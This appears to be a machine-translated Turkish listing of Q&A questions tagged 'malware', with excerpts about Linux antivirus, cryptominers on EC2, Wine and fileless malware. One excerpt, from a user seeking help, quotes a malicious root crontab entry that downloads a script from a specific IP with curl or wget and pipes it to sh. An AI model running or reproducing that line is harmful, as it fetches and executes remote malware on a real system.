«malware» etiketlenmiş sorular

Linux kutuma kötü amaçlı yazılım bulaşmış olabilir mi? Bunun tanıdığım kimseye olduğunu duymadım ve bunun birkaç kez mümkün olmadığını duydum. Bu doğru mu? Öyleyse, Linux Anti-Virüs (güvenlik) yazılımı neyin nesi?

142 security  malware 

Raspberry Pi'mdeki kök crontab dosyama bir şey eklemek istedim ve bana şüpheli görünen bir girdi buldum, bunun bir kısmını Google'da aradım. Crontab girişi: */15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh İçeriği http://103.219.112.66:8000/i.sh: export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin mkdir -p /var/spool/cron/crontabs echo "" > /var/spool/cron/root echo …

58 security  cron  malware 

Linux çalıştıran bir makineye son girdikten sonra, bir kullanıcının giriş klasöründe zayıf bir parola bulunan yürütülebilir bir dosya buldum. Hasar gibi görünen şeyleri temizledim, ancak emin olmak için tam bir silme hazırlıyorum. NON-sudo veya ayrıcalıklı olmayan bir kullanıcı tarafından çalıştırılan kötü amaçlı yazılım ne yapabilir? Sadece bulaşabilir dünyaya yazılabilir izne …

30 security  malware 

Sürekli bitcoin madenciliği yapan ve örnek işlem gücümü kullanan ec2 örneğimde kötü amaçlı yazılım buldum. İşlemi başarıyla belirledim ancak kaldıramadı ve öldüremedi. Bu komutu koştum Bu watch "ps aux | sort -nrk 3,3 | head -n 5" benim örneğimde çalışan ilk beş işlemi gösteriyor, ki burada işlemcinin % 30'unu tüketen …

26 linux  process  kill  malware 

Sadece Wine'ı kurmanın Windows virüslerine oldukça sağlam bir Linux masaüstü açıp açamayacağını merak ediyorum. Bununla ilgili herhangi bir onaylanmış rapor var mı? Daha sonra Wine altında bir Windows antivirüs ürünü kurar mısınız?

23 security  emulation  windows  malware 

Son zamanlarda (yeniden) bu tökezledi: Linux Truva Atı Neredeyse Bir Yıl Boyunca Fark Edilmedi (Gerçek dışı IRCd) Evet, güvenilmeyen bir kaynaktan rastgele PPA / yazılım eklemenin sorun (veya daha kötüsü) istediğini biliyorum. Bunu asla yapmıyorum, ancak birçoğu yapıyor (birçok Linux blogu ve tabloid, süslü uygulamalar için PPA eklemeyi teşvik ediyor, …

16 security  malware 

Nethogs'ta gördüğüm şey bu: ?Olarak çalışan PID listeleri ile ilgili endişeliyim root. Bunların ne olduğunu nasıl öğrenebilirim? Linux Mint 14 kullanıyorum. Lütfen başka hangi bilgileri içermem gerektiğini bana bildirin.

12 networking  malware 

Fileless malware'in tanımını anlıyorum: Dosya tabanlı olmayan ancak yalnızca bellekte bulunan kötü amaçlı kod… Daha özellikle, kötü amaçlı kötü amaçlı kod… bellekte etkin bir işleme kendini ekler… Birisi bunun bellekte aktif bir sürece kendini nasıl eklediğini açıklayabilir mi? Ayrıca, bu tür saldırılara karşı hangi (çekirdek) koruma / sertleştirme kullanılabilir?

10 process  linux-kernel  malware